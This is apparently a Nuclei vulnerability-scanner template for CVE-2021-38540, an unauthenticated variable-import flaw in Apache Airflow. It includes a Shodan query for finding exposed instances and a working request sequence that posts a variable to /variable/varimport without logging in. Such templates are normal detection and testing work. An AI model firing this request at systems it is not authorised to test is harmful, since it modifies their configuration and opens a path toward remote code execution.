id: CVE-2021-38540

info:
  name: Apache Airflow - Unauthenticated Variable Import
  author: pdteam
  severity: critical
  description: The variable import endpoint was not protected by authentication in Airflow >=2.0.0, <2.1.3. This allowed unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution. This issue affects Apache Airflow >=2.0.0, <2.1.3.
  reference: https://nvd.nist.gov/vuln/detail/CVE-2021-38540
  tags: cve,cve2021,apache,airflow,rce
  metadata:
    shodan-query: title:"Sign In - Airflow"
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-38540
    cwe-id: CWE-306

requests:
  - raw:
      - |
        GET /login/ HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |
        POST /variable/varimport HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7
        Referer: {{RootURL}}/admin/variable/

        ------WebKitFormBoundaryB874qcjbpxTP1Hj7
        Content-Disposition: form-data; name="csrf_token"

        {{csrf}}
        ------WebKitFormBoundaryB874qcjbpxTP1Hj7
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.json"
        Content-Type: application/json

        {
            "type": "{{randstr}}"
        }

        ------WebKitFormBoundaryB874qcjbpxTP1Hj7--

    cookie-reuse: true
    extractors:
      - type: regex
        name: csrf
        group: 1
        internal: true
        regex:
          - 'type="hidden" value="(.*?)">'

    req-condition: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "Sign In - Airflow")'
          - 'status_code_2 == 302'
          - 'contains(all_headers_2, "session=.")'
        condition: and

      - type: word
        words:
          - 'You should be redirected automatically to target URL: <a href="/">'